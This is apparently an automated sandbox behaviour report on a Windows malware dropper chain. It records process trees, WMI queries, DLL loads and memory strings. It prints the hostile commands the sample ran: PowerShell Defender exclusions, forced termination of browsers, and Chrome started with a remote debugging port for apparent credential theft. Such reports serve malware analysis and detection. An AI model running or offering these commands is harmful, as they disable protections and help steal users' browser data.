Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1112:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Bridgecontainerserver\SlMo.bat" "

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Command line argument: sfxname	9_2_00BBDF1E
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Command line argument: sfxstime	9_2_00BBDF1E
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Command line argument: STARTDLG	9_2_00BBDF1E

Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe

System information queried: HandleInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 376a884392.exe, 0000000C.00000003.2457579381.00000000057C9000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457748938.00000000057AD000.00000004.00000800.00020000.00000000.sdmp, 91a3357555.exe, 00000011.00000003.2791045315.0000000005C14000.00000004.00000020.00020000.00000000.sdmp, 91a3357555.exe, 00000011.00000003.2953028576.0000000005C08000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2775466313.000000000554C000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2774083119.0000000005569000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 26624fe56e.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe "C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe"
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Bridgecontainerserver\VBxKsR3W5qREBSxxvIt5VpzoFdFFANtbsRk6NDfKSHeOxN7UsJds5Ck.vbe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe "C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe "C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Bridgecontainerserver\SlMo.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Bridgecontainerserver\BrokerhostNet.exe "C:\Bridgecontainerserver/BrokerhostNet.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe "C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD666.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSCAD9FC9E56B4E44A3B8144428FC2A7230.TMP"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vwuajvyx\vwuajvyx.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDBB5.tmp" "c:\Users\user\AppData\Local\Temp\1016093001\CSCF52E109CF7C34EE59E7558C84C69E5BD.TMP"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe "C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe "C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe"
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process created: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe "C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe"
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process created: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe "C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3j5gfw0f\3j5gfw0f.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE79C.tmp" "c:\Users\user\AppData\Local\Temp\1016094001\CSCBC27F4A5D6E544C999D1D8F55EBB7E2B.TMP"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe'
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Bridgecontainerserver\BrokerhostNet.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\dgKup0njeM.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=2064,i,12420018661240836454,12296064884710189682,262144 /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe "C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe"
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process created: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe "C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process created: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe "C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe"
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe "C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe"
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe "C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe "C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe "C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe "C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe "C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe "C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe "C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe "C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Bridgecontainerserver\VBxKsR3W5qREBSxxvIt5VpzoFdFFANtbsRk6NDfKSHeOxN7UsJds5Ck.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Bridgecontainerserver\SlMo.bat" "	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Bridgecontainerserver\BrokerhostNet.exe "C:\Bridgecontainerserver/BrokerhostNet.exe"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vwuajvyx\vwuajvyx.cmdline"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3j5gfw0f\3j5gfw0f.cmdline"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe'
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Bridgecontainerserver\BrokerhostNet.exe'
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\dgKup0njeM.bat"
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD666.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSCAD9FC9E56B4E44A3B8144428FC2A7230.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDBB5.tmp" "c:\Users\user\AppData\Local\Temp\1016093001\CSCF52E109CF7C34EE59E7558C84C69E5BD.TMP"
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process created: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe "C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe"
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process created: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe "C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE79C.tmp" "c:\Users\user\AppData\Local\Temp\1016094001\CSCBC27F4A5D6E544C999D1D8F55EBB7E2B.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe "C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=2064,i,12420018661240836454,12296064884710189682,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process created: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe "C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process created: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe "C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe"
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
